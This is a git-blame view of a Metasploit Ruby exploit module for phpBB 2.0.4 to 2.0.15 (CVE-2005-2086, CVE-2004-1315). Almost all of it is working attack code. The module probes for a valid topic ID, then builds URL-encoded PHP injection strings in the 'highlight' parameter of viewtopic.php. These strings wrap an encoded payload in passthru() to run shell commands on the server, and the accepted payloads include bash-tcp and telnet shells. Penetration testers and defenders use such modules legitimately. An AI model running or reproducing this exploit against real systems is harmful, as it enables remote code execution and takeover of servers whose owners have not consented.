Files
metasploit-gs/modules/exploits/unix/webapp/phpbb_highlight.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

129 lines
3.9 KiB
Ruby
Raw Normal View History

2008-03-05 09:42:57 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2008-03-05 09:42:57 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
2008-03-05 09:42:57 +00:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'phpBB viewtopic.php Arbitrary Code Execution',
'Description' => %q{
2008-03-05 09:42:57 +00:00
This module exploits two arbitrary PHP code execution flaws in the
2025-06-20 13:20:44 +01:00
phpBB forum system. The problem is that the 'highlight' parameter
in the 'viewtopic.php' script is not verified properly and will
allow an attacker to inject arbitrary code via preg_replace().
This vulnerability was introduced in revision 3076, and finally
fixed in revision 5166. According to the "tags" within their tree,
this corresponds to versions 2.0.4 through 2.0.15 (inclusive).
},
'Author' => [ 'valsmith[at]metasploit.com', 'hdm', 'aushack' ],
'License' => MSF_LICENSE,
'References' => [
2008-03-05 09:42:57 +00:00
[ 'CVE', '2005-2086'],
[ 'CVE', '2004-1315'],
[ 'OSVDB', '11719'],
[ 'OSVDB', '17613'],
2008-03-05 09:42:57 +00:00
[ 'BID', '14086'],
[ 'BID', '10701'],
],
2025-06-20 13:20:44 +01:00
'Privileged' => false,
'Payload' => {
2008-03-05 09:42:57 +00:00
'DisableNops' => true,
2025-06-20 13:20:44 +01:00
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic perl ruby python bash-tcp telnet',
}
},
2025-06-20 13:20:44 +01:00
'Notes' => {
2025-04-04 11:55:57 +01:00
'Stability' => [Msf::CRASH_SAFE],
'SideEffects' => [],
'Reliability' => [],
'AKA' => ['ESMARKCONANT']
2025-04-04 11:55:57 +01:00
},
2025-06-20 13:20:44 +01:00
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Automatic', {}],
[ 'phpbb <=2.0.10', {}],
[ 'phpbb <=2.0.15', {}],
2008-03-05 09:42:57 +00:00
],
2025-06-20 13:20:44 +01:00
'DisclosureDate' => '2004-11-12',
'DefaultTarget' => 0
)
)
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('URI', [true, "The phpBB root Directory", "/phpBB2"]),
OptString.new('TOPIC', [false, "The ID of a valid topic"]),
2025-06-20 13:20:44 +01:00
]
)
2008-03-05 09:42:57 +00:00
end
2013-08-30 16:28:54 -05:00
2008-03-05 09:42:57 +00:00
def find_topic
1.upto(32) do |x|
2025-06-20 13:20:44 +01:00
res = send_request_raw({
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri(datastore['URI'], '/viewtopic.php') + '?topic=' + x.to_s,
}, 25)
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
if (res and res.body.match(/class="postdetails"/))
print_status("Discovered valid topic ID: #{x}")
return x
end
2008-03-05 09:42:57 +00:00
end
return false
end
2013-08-30 16:28:54 -05:00
2008-03-05 09:42:57 +00:00
def exploit
topic = datastore['TOPIC'] || find_topic
2013-08-30 16:28:54 -05:00
2008-03-05 09:42:57 +00:00
if !(topic)
print_status("No valid topic ID found, please specify the TOPIC option.")
return
else
2013-08-30 16:28:54 -05:00
2013-01-30 23:23:41 -06:00
sploit = normalize_uri(datastore['URI'], "/viewtopic.php") + "?t=#{topic}&highlight="
2013-08-30 16:28:54 -05:00
2008-03-05 09:42:57 +00:00
case target.name
when /Automatic/
req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527"
2013-08-30 16:28:54 -05:00
2008-03-05 09:42:57 +00:00
res = send_request_raw({
2025-06-20 13:20:44 +01:00
'uri' => normalize_uri(datastore['URI'], req)
2008-03-05 09:42:57 +00:00
}, 25)
2013-08-30 16:28:54 -05:00
2008-03-05 09:42:57 +00:00
print_status("Trying to determine which attack method to use...")
2013-08-30 16:28:54 -05:00
2008-03-05 09:42:57 +00:00
if (res and res.body =~ /\<title>phpinfo/)
byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
sploit << "%2527%252epassthru(#{byte})%252e%2527"
else
byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
sploit << "%27.passthru(#{byte}).%27"
end
2013-08-30 16:28:54 -05:00
2008-03-05 09:42:57 +00:00
when /2\.0\.10/
byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
sploit << "%2527%252epassthru(#{byte})%252e%2527"
when /2\.0\.15/
byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
sploit << "%27.passthru(#{byte}).%27"
end
2013-08-30 16:28:54 -05:00
2008-03-05 09:42:57 +00:00
res = send_request_raw({
2025-06-20 13:20:44 +01:00
'uri' => sploit
2008-03-05 09:42:57 +00:00
}, 25)
2013-08-30 16:28:54 -05:00
2008-03-05 09:42:57 +00:00
end
end
end